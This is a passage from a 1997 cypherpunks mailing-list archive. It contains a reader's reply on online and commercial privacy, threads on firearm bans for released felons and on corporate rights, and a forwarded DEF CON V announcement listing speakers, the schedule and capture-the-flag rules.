rights. (Forgive the gender bias: I'll switch now)

There is no level of privacy afforded the average 'user' as simple to use as
the intrusve technologies that are available to the snoop.

>Can we trust the government to protect our
>privacy when it works tirelessly to invade it?
>
Sometimes it is better to trust Government than it is to trust Big Business,
although too often they converge onto identical tracks becuase of the
ownership of Gov't *by* Big Business. I see two equally onerous invasions:
One is the insistence of Government that the benefit of crypto to the Four
Horsewomen of the Infocalypse (Porn, Drug Dealing, Money Laundering, and
Terrorism), and the corresponding threat to society, is so large as to
warrant  registering everyone's secret-telling capability. The other is the
intrusion by Business and Employers into the habits of consumers and workers.
 From click-tracking on the Web to the recently reported monitoring of every
7-11 manager's move at the POS terminal, Business is no friend of the People.
 That this is perhaps the more insidious threat is manifest by your not even
mentioning it or including it in the question set.  I fear Businesses who say
"Government leave us alone because the Free Market knows what's best" and
then proceed to invade and intrude in ways that are equally damaging to the
privacy of the individual.  The philosophy that if Business invades privacy
it's OK, and if Government does so it's bad, is to say that 2+2=5.


>Much has been written about this. What I'm looking for now are examples.
>Have you used an anonymous remailer to cloak your identity, or been flamed
>through one? Have you been denied a transaction at a store because you
>refused to identify yourself? Have you hunted through databases to find
>someone important? Has sensitive information about you turned up in one?
>
I have been fairly careful and very jealous of my privacy; and then my name
and home address showed up on one of the name-search pages.  I don't know if
it's still there, and I don't remember the link.  But then the Similac
marketing Geniuses sent me something in the mail that even included the due
date of my expected child!  I consider that sensitive as hell, and it didn't
occur via the Web.  The problem is across the board.

I use anonymizing tools when I need to, to protect what I consider "things"
that are too sensitive for the Web.  I have looked up past friends on the
Web, and then not called because I felt it would be an intrusion into their
life.  I have found the ability to search for information on PUBLIC figures
important and useful, looking for items related to their professional
activities, and I think this is an important capability.  The opportunity for
People to make sure that the elected officials they elect and pay for, and
the businesses that pave their towns and dump toxics into their yards, are
behaving responsibly, is one of the few remaining possibilities for positive
change.  

In the meantime, I'm wondering, as I wander off to renew my driver's license,
why they want my social security number.  
And I still don't know how Similac figured out when my wife and I had sex.

(C) Copyright 1997 by ..... oops! I don't want to include my name.



>I'd appreciate hearing some stories...
>
>Thanks all,
>
>Declan
>
>
>-------------------------
>Declan McCullagh
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>
>
-----BEGIN PGP SIGNED MESSAGE-----

At 08:46 PM 6/30/97 -0400, you wrote:
>
>We hear a lot of steamy rhetoric about privacy and the information age, but
>few real-world examples. I'm working on a story now for Time about just
>this: what's happening to individual privacy today.

I assmue you will protect the anonymity of any contributors even while
sharing your generous payment with them!  ;)

>
>Does the Net make us more exposed -- DejaNews and 411-type databases -- or
>does it provide us with more privacy through tools like anonymous remailers
>and pseudonymous identities? 

As a reader of cpunks the following should be obvious: the access to
information from 411-etc. is simple and accessible to anyone who can type in
a browser!  On the other hand, remailers and nym servers are still solely the
purview of propeller-heads.  The remailer pages I have seen and tried to use
are unreliable - and to use PGP remailers requires a level of PGP-ability
that the average Joe won't invest in.  

Most people have Work to do, and cannot invest in the time to figure out how
to use software.  If we want to see pervasive use of privacy-preserving
technologies then developers must realize this and develop for the Mass
Market.  PGP 5, PGPMail are certainly helpful and not enough.  What I am
concerned about is that in the absence of easy-to-use (that means
no-effort-to-use) privacy software, the average Joe will rely on whatever is
there for him: and in the limit this will mean whatever infrastructure the
Powers-that-be want put in place for him, and not one that preserves his
rights. (Forgive the gender bias: I'll switch now)

There is no level of privacy afforded the average 'user' as simple to use as
the intrusve technologies that are available to the snoop.

>Can we trust the government to protect our
>privacy when it works tirelessly to invade it?
>
Sometimes it is better to trust Government than it is to trust Big Business,
although too often they converge onto identical tracks becuase of the
ownership of Gov't *by* Big Business. I see two equally onerous invasions:
One is the insistence of Government that the benefit of crypto to the Four
Horsewomen of the Infocalypse (Porn, Drug Dealing, Money Laundering, and
Terrorism), and the corresponding threat to society, is so large as to
warrant  registering everyone's secret-telling capability. The other is the
intrusion by Business and Employers into the habits of consumers and workers.
 From click-tracking on the Web to the recently reported monitoring of every
7-11 manager's move at the POS terminal, Business is no friend of the People.
 That this is perhaps the more insidious threat is manifest by your not even
mentioning it or including it in the question set.  I fear Businesses who say
"Government leave us alone because the Free Market knows what's best" and
then proceed to invade and intrude in ways that are equally damaging to the
privacy of the individual.  The philosophy that if Business invades privacy
it's OK, and if Government does so it's bad, is to say that 2+2=5.


>Much has been written about this. What I'm looking for now are examples.
>Have you used an anonymous remailer to cloak your identity, or been flamed
>through one? Have you been denied a transaction at a store because you
>refused to identify yourself? Have you hunted through databases to find
>someone important? Has sensitive information about you turned up in one?
>
I have been fairly careful and very jealous of my privacy; and then my name
and home address showed up on one of the name-search pages.  I don't know if
it's still there, and I don't remember the link.  But then the Similac
marketing Geniuses sent me something in the mail that even included the due
date of my expected child!  I consider that sensitive as hell, and it didn't
occur via the Web.  The problem is across the board.

I use anonymizing tools when I need to, to protect what I consider "things"
that are too sensitive for the Web.  I have looked up past friends on the
Web, and then not called because I felt it would be an intrusion into their
life.  I have found the ability to search for information on PUBLIC figures
important and useful, looking for items related to their professional
activities, and I think this is an important capability.  The opportunity for
People to make sure that the elected officials they elect and pay for, and
the businesses that pave their towns and dump toxics into their yards, are
behaving responsibly, is one of the few remaining possibilities for positive
change.  

In the meantime, I'm wondering, as I wander off to renew my driver's license,
why they want my social security number.  
And I still don't know how Similac figured out when my wife and I had sex.

(C) Copyright 1997 by ..... oops! I don't want to include my name.



>I'd appreciate hearing some stories...
>
>Thanks all,
>
>Declan
>
>
>-------------------------
>Declan McCullagh
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>
>
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM7k0MjdEnrLKVNqJAQFijwf+M6Qq28YiBmfmxaMePf9QvZdSkHB2e51b
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ii9PMquE7S/UXZGWqUgHsKx4BENwFYA9s4UF7ZWLLaD/A5ekL7kIAVFrd/52YFWO
iycsGU3sdFw7xbzjCHHYUPwz51S6ger7c4YzNtlMVRKL4j0IiSLbWQ977Udp0vCj
4twqTu0l56GvkYMaybq3CHtU72bBY/6ckrqO8nmcMpZW1W2E5fKLhWsRLk2hepq1
wl7jTcU3HGvZH6ccgAfl8UtUxsyBTXL4S90dc0EsVE8XJBirTSNkUQ==
=QJUu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 2 Jul 1997 00:56:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.3.89.9706301850.A28965-0100000@netcom2>
Message-ID: <v03102805afdee15fe080@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:46 AM -0700 7/1/97, Paul Bradley wrote:
...
>Not so, I believe Kent pointed out the US statute that describes
>unreasonable punishment as being "cruel and unusual", banning ownership
>of firearms as part of the punishment for a violent crime seems perfectly
>reasonable to me, but foo on that anyway: punishment should fit the
>crime, if you commit murder or rape or any one of a number of such
>serious crimes I see no reason why you shouldn`t be punished cruelly.

The apparent meaning of "cruel and unusual" had to do with things like
torture, death by starvation, death by immersion in hot oil, and other such
things which some regimes had practiced. The "design goal" of all U.S.
capital punishment methods is generally "quick and painless."

- Hanging--very quick and very painless (the neck is snapped, and
consciousness vanishes)

- Firing squad--no further explanation needed (assuming multiple rounds hit
the target)

- Electrocution--originally designed to render subject unconscious almost
immediately. Whether it does this merits discussion, but the original
intent was surely for a "scientific" fast death (just as the guillotine was
similarly designed)

- Gas chamber--cyanide produces rapid unconsciousness

- Lethal injection--the "new" scientific method. Obviously painless.


>I can see the point of view which accepts serving of sentence as being
>the end of punishment, and I do not accept a ban on firearms as being
>implicit in the commision of a felony, but if a court explicitly states
>that part of the punishment should be a X year or lifetime ban I can
>accept that.

Does this mean that you would "accept" a wording which took away a released
convict's ability to speak freely, or to practice the religion of his
choice?

("Upon completion of your 6-month sentence for public blasphemy, you must
renounce Baalism and accept the religion so ordered by the court.")

Why is this any different from taking away Second Amendment rights?

There is sometimes a loophole for taking away some particular right, or
interfering with it in a special way, a la the language of "compelling
needs." This is how the courts look at the putative conflict of rights, as
in things like "the state has a compelling need to protect minors from
these materials." Then there's the related language of "overbroad."

But how does a lifetime, blanket ban on possession of firearms--i.e., a
complete denial of Second Amendment rights--for any of tens of thousands of
claimed "felonies" fit with this "compelling need" model? What's the
compelling need for the state to deny Second Amendment rights for life to
someone convicted of fraud or money laundering?

The compelling need appears to be related to the general trend of disarming
as many of the marks as possible, as soon as possible.

(I understand, Paul, that you are not a U.S. citizen, but this is the
framework for the current discussion.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Jul 1997 02:52:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.3.89.9706301850.A28965-0100000@netcom2>
Message-ID: <19970701113321.12042@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 01, 1997 at 09:47:45AM -0700, Tim May wrote:
> At 7:46 AM -0700 7/1/97, Paul Bradley wrote:
[...]
> 
> >I can see the point of view which accepts serving of sentence as being
> >the end of punishment, and I do not accept a ban on firearms as being
> >implicit in the commision of a felony, but if a court explicitly states
> >that part of the punishment should be a X year or lifetime ban I can
> >accept that.
> 
> Does this mean that you would "accept" a wording which took away a released
> convict's ability to speak freely, or to practice the religion of his
> choice?
>
> ("Upon completion of your 6-month sentence for public blasphemy, you must
> renounce Baalism and accept the religion so ordered by the court.")
> 
> Why is this any different from taking away Second Amendment rights?

At one level, it is not.  Punishment intrinsically involves
restriction on rights.  Your right to free speech *is* restricted
while you are in jail.  Your right to practice your religion can be
infringed -- you may not be able to have a prayer blanket, for
example.  When you are convicted of a felony you step into a different
category as far as protection of rights are concerned.

On another level, they are *different* rights.  So, in practice, the 
rights to free speech and free religion are given greater weight.

> There is sometimes a loophole for taking away some particular right, or
> interfering with it in a special way, a la the language of "compelling
> needs." This is how the courts look at the putative conflict of rights, as
> in things like "the state has a compelling need to protect minors from
> these materials." Then there's the related language of "overbroad."
> 
> But how does a lifetime, blanket ban on possession of firearms--i.e., a
> complete denial of Second Amendment rights--for any of tens of thousands of
> claimed "felonies" fit with this "compelling need" model? What's the
> compelling need for the state to deny Second Amendment rights for life to
> someone convicted of fraud or money laundering?

It's really more of an issue of practice, rather than principle.  
There is no disputing that once you are caught up in the criminal 
justice system your rights are constrained.  The constitution 
guarantees the accused certain rights, to be sure, and the convicted 
rather less.  But it is clear that the blanket provisions of the Bill 
of Rights simply don't apply to criminals.

However, the issue is very complex.  "The system" has a number of
discretionary points -- variable sentencing regiems, time off for good
behaviour, probation, parole -- all involve different levels of
constraints on rights, all constitutional. 

In principle, once you accept that the state has the mandate to 
punish criminals, you accept that criminals lose rights.  Period.

As an anarchist you may say that the state has no such mandate.  But 
then you have the messy problem of what to do with common criminals, 
and you end up with a state that you refuse to call a state.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Wed, 2 Jul 1997 02:47:44 +0800
To: tcmay@got.net
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v03102805afdee15fe080@[207.167.93.63]>
Message-ID: <199707011833.LAA16159@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

[lots 'o stuff]

> But how does a lifetime, blanket ban on possession of firearms--i.e., a
> complete denial of Second Amendment rights--for any of tens of thousands of
> claimed "felonies" fit with this "compelling need" model? What's the
> compelling need for the state to deny Second Amendment rights for life to
> someone convicted of fraud or money laundering?
> 
> The compelling need appears to be related to the general trend of disarming
> as many of the marks as possible, as soon as possible.

Close. 
The complling need is for politicians to appear to be 'tough on crime'.
Being 'tough on crime' gets you reelected.  Being 'soft on crime'
means you lose and have to find a real job.

Taking away the rights of convicted criminals who have served their
sentences makes you look tough on crime to the sheeple.  The convicts
and wimpy human-rights organizations like the ACLU might complain, but
fuck 'em, they're liberals or criminals who get whatever we decide that
they deserve.  Hell, if it'll get people to vote for you,  throw 'em
in a mental hospital after they've served their terms, or publish 
their names so citizens can drive them out of town.

It has little to do with disarming the population and lots to do with
the climate of fear that politicans and the media have whipped up.

With the downfall of communisim and the end of the cold war,
the DOJ/FBI/NSA/prison system has become the new Military Industrial
Complex.  Need money to get elected?  Vote for new prisons and
the powerful Prison Guards lobby will help you out.  Need a new
pork-barrel project to help out your friends back in the district?
Vote for federal dollars for more cops.

Need to sell papers or TV ads?  Tell people how bad crime is, everyone's
afraid of the criminals they see on 'Cops'.  More fear.  More cops.
More jails.  We're marching towards the police state one jack-boot
at a time.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 2 Jul 1997 00:55:08 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Free markets and crypto
In-Reply-To: <Pine.GSO.3.95.970630195816.4992H-100000@well.com>
Message-ID: <v03007804afdee11ed5eb@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



I of course agree with Tim. Corporations are merely voluntary collections
of individuals.

As for civil rights laws: in my dark moments, I want to add a button to my
web page: "Only click here if you are (or are not) Irish." Or "No African
Americans allowed." Or "Nobody over 60 years old permitted." I wonder,
would I be in violation of Title 7?

-Declan


At 08:29 -0700 7/1/97, Tim May wrote:
>Unfortunately, there is a growing distinction being made between "voluntary
>transactions" of _people_ and of _corporations_.
>
>(The most stunning example of this, as Declan of course knows, being the
>"Title 7" stuff in the Civil Rights Act, which takes away a person's right
>to associtate with persons with whom he wishes to associate--he can't
>choose to hire only Chinese, or no cripples, or only Mormons, and so on.)
>
>And in the crypto debate, the term "market" has mostly been interpreted by
>people to mean: Netscape, Microsoft, PGP, RSADSI, C2net, Verisign, etc.
>
>I don't believe corporations have any more rights--or any more
>restrictions--than individuals do. So in this sense I agree with Declan's
>point. But my view is in a minority.
>
>Thus, care is warranted when discussing "market solutions."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 2 Jul 1997 01:33:42 +0800
To: cypherpunks@toad.com
Subject: DEF CON V Convention Announcement #1.19 (06.30.97)
Message-ID: <v03007805afdee8c7a2e4@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



[I'm planning to show up Friday morning. Anyone else going? --Declan]

*******

 READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

             DEF CON V Convention Announcement #1.19 (06.30.97)
          July 11-13th @ the Aladdin Hotel and Casino in Las Vegas

     XXXXXXXXXXXXXXXXXXXXXXXX XX      DEF CON V Convention Announcement
     XXXXXXXxxxxXXXXXXXXXXXXXXX XX    DEF CON V Convention Announcement
     XXXXXXxxxxxxXXXXXX  X    X       DEF CON V Convention Announcement
     XXXXXxxxxxxxxXXXXXXX  X          DEF CON V Convention Announcement
     XXXXxxxxxxxxxxXXXX XXXXXXXXX     DEF CON V Convention Announcement
     XXXxxxxxxxxxxxxXXXXXXXXXX X      DEF CON V Convention Announcement
     XXxxxxxxxxxxxxxxXXXXXX  XX  X    DEF CON V Convention Announcement
     XXXxxxxxxxxxxxxXXXXXXXX          DEF CON V Convention Announcement
     XXXXxxxxxxxxxxXXXXXXXX X XX      DEF CON V Convention Announcement
     XXXXXxxxxxxxxXXXXXXXXXX  XX X    DEF CON V Convention Announcement
     XXXXXXxxxxxxXXXXXXXXX X          DEF CON V Convention Announcement
     XXXXXXXxxxxXXXXXXXXXXXXXXX       DEF CON V Convention Announcement
     XXXXXXXXXXXXXXXXXXXXXXXXXXXX X   DEF CON V Convention Announcement

 READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

                     The only convention with free beer!

 IN SHORT:--------------------------------------------------------------------

         WHAT: Speakers and partying in Vegas for all hackers
         WHEN: July 11th - 13th
         WHERE: Las Vegas, Nevada @ the Aladdin Hotel and Casino
         COSTS: $30 in advance, $40 at the door
         MORE INFO: http://www.defcon.org or email info@defcon.org

 IN LONG:---------------------------------------------------------------------

 It's time to brave Las Vegas again for DEF CON!  This is an initial
 announcement and invitation to DEF CON V, a convention for the "underground"
 elements of the computer culture.  We try to target the (Fill in your
 favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers,
 Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks,
 Futurists, Artists, Criminally Insane, Hearing Impaired.  It seems that
 books about the culture are becoming more popular, so of course reporters
 are also welcome.  You won't be hurt.  I promise.  Just bring cash for
 drinks.

 So you heard about DEF CON IV, and want to hit part V?  You heard about the
 parties, the info discussed, the bizarre atmosphere of Las Vegas and want to
 check it out in person?  You want to do weird shit _away_ from the hotel
 where you can't get me in trouble?  You have intimate knowledge of the SWIFT
 network, and want to transfer millions of dollars to the Def Con account?
 Then you're just the person to attend!

 What DEF CON is known for is the open discussion of all ideas, the free
 environment to make new contacts and the lack of ego.  More people have made
 great friends at DEF CON over the years than my brain can conceive of.  DEF
 CON is also known for letting the "Suits" (Government / Corporate) mix with
 everyone and get an idea of what the scene is all about.  The media makes an
 appearance every year and we try to educate them as to what is really going
 on.  Basically it has turned into the place to be if you are at all
 interested in the computer underground.

 [Note]-----------------------------------------------------------------------

 Now last year over 800 people showed up and threw my whole program for a
 loop.  I was thinking 500+ people, but when 800 showed up it got a little
 crazy for the planning staff.  This year I am planning for 1,000.  This
 way I will be able to accommodate everyone and have less logistical screw-
 ups.

 I would also like to apologize to everyone last year who had temporary
 badges for half the convention, etc.  I will do all that is possible for
 maximum coolness, and minimum hassles.   Anyway, enough of my shit, on with
 the details.

 [End Note]-------------------------------------------------------------------

 SPEAKERS:--------------------------------------------------------------------

 Over the years DEF CON has had many notable speakers.  This year there will
 be more of an emphasis on technical talks.  There will be a separate smaller
 room for break-out sessions of more specific topics.  While the talks of the
 past have been great, it always seems some tech people drop out and general
 talks fill in.  I will load it tech heavy so when people do drop out there
 will still be plenty of meat left for the propeller heads.

 There will be some speaking on Friday evening before Hacker Jeopardy, all
 day Saturday and Sunday.  About 20 people will speak, plus smaller tech
 sessions.  If you are interested in speaking or demonstrating something
 please contact me.

 Current speakers include:

 [> Nhil - Windows NT (in)security.  The challenge response system, NT 5.0
    Kerb security services, man in the middle attacks on domain controllers.
    This will be a more technical discussion of NT related security.

 [> Koresh - Hacking Novell Netware.

 [> Yobie - Emerging infrastructures made possible by Java.  He will describe
    and talk about Java as the foundation for a global, object-oriented
    distributed network.  New concepts and computing paradigms will discussed
    as well as applications for both applications development or straight-out
    hacking.

 [> Mudge - System Administrator for L0pht Heavy Industries.  He will present
    a technical talk on something cool.

 [> Clovis - From the Hacker Jeopardy winning team.  He will discuss issues
    with security and networked object systems, looking at some of the
    recent security issues found with activeX and detail some of the
    potentials and problems with network objects. Topics will include
    development of objects, distributed objects, standards, ActiveX, corba,
    and hacking objects.

 [> Bruce Schneier - Author of Applied Cryptography and the Blowfish
    algorithm - Why cryptography is harder than it looks.

 [> FBI Computer Crime Squad - They will make another appearance this year
    only if I can bribe them with the audio from last years convention.  Can
    I do it in time?

 [> Richard Thieme - "The Dynamics of Social Engineering: a cognitive map for
    getting what you need to know, working in networks, and engaging in
    espionage quietly; the uses of paranoia, imagination, and grandiosity
    to build the Big Picture.

 [> Wrangler - Packet Sniffing:  He will define the idea, explain everything
    from 802.2 frames down to the TCP datagram, and explain the mechanisms
    (NIT, bpf) that different platforms provide to allow the hack.

    Wrangler has been programming since seven column paper tape.  He is a
    loner with the social skills of a California Condor.  He has never been
    a member of LOD, MOD, or any other group.  He has written no books, is
    not currently employed, and refuses to discuss what he refers to as "that
    credit card provider thing back when I used to do mainframe shit."   His
    current projects include looking for his next Fortune 100 contract and
    writing the DEFCON V virus.

 [> Seven - What the feds think of us.

 [> Richard K. - Electronic countermeasures, counter espionage, risk
    management.  Should include a demonstration of electronic
    countermeasures equipment as well as a talk on what works, what doesn't,
    and the industry.

 [> Tom Farley the Publisher of the "Private Line" journal, and Ken
    Kumasawa of TeleDesign Management - Toll Fraud in the 90s: Two
    perspectives.  An overview of phreaking from a hackers point of view and
    an industry/security consultants point.

 [> Michael Quattrocchi - The future of digital cash and a presentation about
    the modernization and state of register-level debit cards; in effect
    currently throughout Canada.

 [> The Deth Vegetable - "The Cult of the Dead Cow embarks on a new era of
    Global Domination for the 21st Century three years early -- if you're
    not at Defcon this year, you won't be down with the master plan.
    Important announcements and startling new developments that will affect
    the entire history of the Computer Underground as you know it."

 [> Ira Winkler - Real life case studies of successful and unsuccessful
    corporate espionage.

 [> Sameer Parekh - c2.net - Why cryptography is harder than it looks, part
    two.  A look at implementation and production problems facing people and
    companies wishing to develope and distribute strong encryption.

 [> Carolyn P. Meinel - Moderator of the Happy Hacker Digest and mailing
    lists.  She will preside over a seperate Happy Hacker discussion
    pannel that will cover the topics of wether or not "newbies" should have
    information handed to them, or should they learn for themselves?

 [> Dan Veeneman -  Low Earth Orbit satellites are nearing the launch stage,
    and this talk will cover the different systems that are planned and some
    of the services they'll offer.  A bit on GPS that wasn't covered last
    year as well as the ever popular question and answer section.

 [> Hobbit - CIFS is a load of CACA - Random SMB CIFS stuff in Microsfot
    products.

 [> Cyber - An overview and explanation of available crypto-tools.  What
    tools and programs do what, when to use them and on what platforms.
    From someone who has spent lots of time playing around with the
    currently available set of applications.

 [> Keith - Has some experience writing firmware for embedded
    microcontroller applications, and is giving a technical talk on
    applications of microcontrollers in the h/p community.

 [> James Jorasch - Hacking Vegas - How to games the gamers.  From someone
    who used to deal with hotel casino security.  What really goes on?

 SCHEDULE:--------------------------------------------------------------------

 FRIDAY:  Network Setup, Sign in, Informal PGP Keysigning at the "PGP table",
 Lots of Partying.  Capture the Flag Contest Starts at 16:00

 On Friday there will be the demonstrations of the Radio Burst Cannon, a
 "real" rail gun, and an omni-directional cell phone jammer.  Times to be
 announced.

 10:00 -       Doors open, sign in starts
 10:00 -       Movies start in main conference room
 16:00 -       Capture the Flag II starts
 15:30 -       Round up and head off for demonstrations of HERF, and
               rail gun madness.  Nothing may happen, then again..

 23:30 - 23:00 James Jorasch - "Hacking Vegas" how to beat the system in
               Vegas by someone who knows it inside and out.
 23:00 - 03:00 Hacker Jeopardy Starts.

 SATURDAY:

 10:00 - 10:50 Richard Thieme - The Dynamics of Social Engineering.
 11:00 - 11:50 Yobie - Emerging infrastructures made possible by Java.
 12:00 - 12:50 Clovis - issues with security and networked object systems.
 13:00 - 13:50 FBI Computer Crime Squad -
 14:00 - 14:50 Deth Veggie - Global Domination, cDc style.
 15:00 - 15:50 Seven - What the feds think of us.
 16:00 - 16:50 Richard K. -
 17:00 - 17:50 Tom Farley and Ken K. - Toll Fraud in the 90s: Two
               perspectives.

 Saturday Breakout Tech Sessions:

 Koresh     - Novell issues.
 Mudge      - Secure Coding.
 Hobbit     - Why CIFS is CACA.
 Nihil      - NT security issues.
 Wrangler   - Packet Sniffing.
 Keith      - firmware for embedded microcontroller applications.

 24:00 (Midnight) Final rounds of Hacker Jeopardy.

 SUNDAY:

 10:00 - 10:50 Ira Winkler - Industrial Espionage.
 11:00 - 11:50 Sameer - Why cryptography is harder than it looks, part two.
 12:00 - 12:50 Cyber - An overview and explanation of available crypto-tools.
 13:00 - 13:50 Carolyn Meinel - Happy Hacker Panel.
 14:00 - 14:50 Michael Q. - The future of digital cash.
 15:00 - 15:50 Dan Veeneman - Low Earth Orbit satellites.

 Sunday Breakout Tech Sessions:

 Happy Hacker track

 Panel: "The Newbie Experiments"

 Moderator is Carolyn Meinel, author of the Guides to (mostly) Harmless
 Hacking series. Other panel members are:

 - Matt Hinze, editor of the Happy Hacker Digest.
 - Bronc Buster, who runs a Web forum, IRC server and the New Buckaroos Web
   site for his fast-growing band of newbies.
 - Mark Biernacki of Shellonly.com will talk about this new ISP which is
   designed to make it easy for newbies to learn to hack. Just say "Telnet
   port 22!"
 - Jericho, who will hold forth on "Let the newbies fend for themselves."

 We will allow each panel member to open with a brief presentation of his or
 her work, followed by debate first among panel members, followed by Q&A from
 the audience. We expect some intense debate:-)

 Then if the Aladdin hotel hasn't yet been demolished yet by riots, we will
 continue with a series of individual presentations:

 - Jon McClintock, editor of Happy-SAD (Systems Administrator Digest) will
   demonstrate how to install Linux.
 - Bronc Buster will hold forth on the Windows 95 denial of service programs
   his Web site offers.
 - Carolyn Meinel will demonstrate how to read email headers, create, and
   decipher forged email.

 Breakout Tech Sessions:

 16:00          Awards for Capture the Flag
                End of it all, cleanup, etc.  See you all next year!

 EVENTS:----------------------------------------------------------------------

 [>     HACKER JEOPARDY:

        Winn is back with Hacker Jeopardy!!  The third year in the running!
        Can the all-powerful Strat and his crypto-minion Erik, whose force
        cannot be contained, be defeated?!  Will the powers that be allow
        Strat-Meister to dominate this beloved event for the third year in
        a row?!  Can Erik continue to pimp-slap the audience into submission
        with a spoon in his mouth?!?  Only Skill, Time, and booze will tell
        the tail!

        The Holy Cow will help supply the beer, you supply the answers.
        The first round starts at 12 midnight o'clock on Friday and lasts
        until it is done.  The second and secret rounds will happen Saturday
        at midnight.

        6 teams will be picked at random and compete for the final round.
        There can be only one!  Strat's Team, the winners from last year
        will defend if all the members can be found.

 [>     FREE BEER!

        Holy Cow will provide free beer tickets!  If you are over 21 prepare
        to consume "hacker" beers.  Actually it's whatever beer they have on
        tap, but it's the best beer in Las Vegas.  Follow Las Vegas Blvd. up
        until you see the florescent cow with the big sunglasses.  All taxi
        drivers know of this Mecca.  Over 1,000 free beers in all!

 [>     BLACK AND WHITE BALL:

        We've talked it over, and the verdict is in.  For the last two years
        at DEF CON there has been a sort of unspoken Saturday night dress up
        event.  People have worn everything from party dresses and Tuxedoes
        to AJ's ultra pimp Swank outfit with tiger print kilt.  This year it
        is official.  Wear your cool shit Saturday night, be it gothic or PVC
        vinyl or Yakuza looking black MIBs.  No prizes, just your chance to
        be the uber-bustah pimp.

 [>     THE TCP/IP DRINKING GAME:

        If you don't know the rules, you'll figure 'em out.

 [>     CAPTURE THE FLAG:


                  ALL NEW, ALL IMPROVED, MORE CONFRONTATIONAL,
                         1997 ILLUMINATI INVITATIONAL,
                        CAPTURE THE FLAG, HACKER STYLE.

      The goal is to take over everybody else's server while protecting your
      own. To cut down on lag time and federal offences we're providing a
      playing field of 5 flag-machine networks connected by a big router in
      the middle.

      The rules:

      1) No taking the network down for more than 60 seconds.
      2) No taking any flag machine (including your own) down for more than
         3 minutes.
      3) In order to be counted in the game, a team's flag machine must
         - be directly connected to the network;
         - have a text file flag on the machine readable by at least 2
           accounts,
         - keep at least 3 *normal* services running in a way that a
           client could actually get their work done using them.       
         - run a web server if technically possible.
      4) No goonery/summoning of elder gods/Mickey Finns/physical
         coercion... you get the idea.  ( You had the idea, but we're
         trying to prevent you from using it. )


      The field of play :
      Each network will have a "server" of some kind on it, called the flag
      machine. At the start of the game, these servers will be stock
      installations a lot like what you'd see on the average academic/secret
      cabal/military/megacorp  network. Each of these machines  will have a
      PGP private key, named root.flag, and a web server.

      There will also be a machine to provide DNS, called the scoreboard.

      Teams:
      Teams can be one human or more. In order to be a team, you have
      to generate 20 256bit PGP key pairs, have a DEFCON goon pgp-sign
      them and put the public keys on the scoreboard webserver. We'll
      generate a hundred key pairs in advance, so the first five teams can
      just grab a floppy disk (if they're trusting).

      To prove that you've hacked a flag machine, PGP - sign a message with
      the root.flag from the hacked machine, then with one of your own.
      Post the doubly-signed message on the scorekeeper  web server, and
      you've captured that flag (and invalidated the captured root.flag).

      When you've captured a flag, decide between conquest and
      condescension: either take over the server yourself, or hand it back
      to its not-so-eleet owners. To conquer, put one of your PGP private
      keys on the captured server to become the next root.flag.  (Of
      course, you have to properly secure the server to maintain your new
      territory.)

      To condescend, just wait until the original owners see their shame
      spread across the scoreboard. (It would sure be a pity if
      they had to put up a new key before they figured out how you got in
      last time, wouldn't it?)

      Two Ways to Win:

      #1 EVIL EMPIRE: Whoever has the most servers responding with their
         teams' private keys at the end wins.

      #2 PIRATE: Fabulous prizes will also be given to whoever racks up the
         highest total number of flags captured.

      Rough game mechanics (why is everyone so untrusting?):
      Once every 5 minutes or more, the scoreboard machine will post a
      plaintext challenge.  Every team that claims to own a server has to
      PGP-sign that challenge with the private key registered for that
      server and post the signed version on their machine. If a server
      can't respond within 3 minutes, then nobody owns it, and it's fair
      game to be taken back over by the goons.

      Specific rules will be available in print at DefCon before the game
      begins.

      This was a message from The People


 [>     QUAKE COMPETITION:

        http://www.ctive.com/ntech/defcon.htm

        This year knightPhlight contacted me and wanted to organize a single
        elimination Quake competition to find out who that badest ass 'mo 'fo
        is.  Check out the web site to get the rules, sign up, or to
        donate a computer the greater good of destruction.

        It is IMHO that Quake by id Software rules 3D action gaming. But who
        rules Quake?  We'll find out this July 11th-13th at the DefCon
        Conference in Las Vegas. This isn't going to be a networked game
        intent on quickly eliminating as many players as possible in a single
        round. Rather, one-on-one games will be played to absolutely
        determine who the best really is.

        Of course, you already know your the best so why would you feel
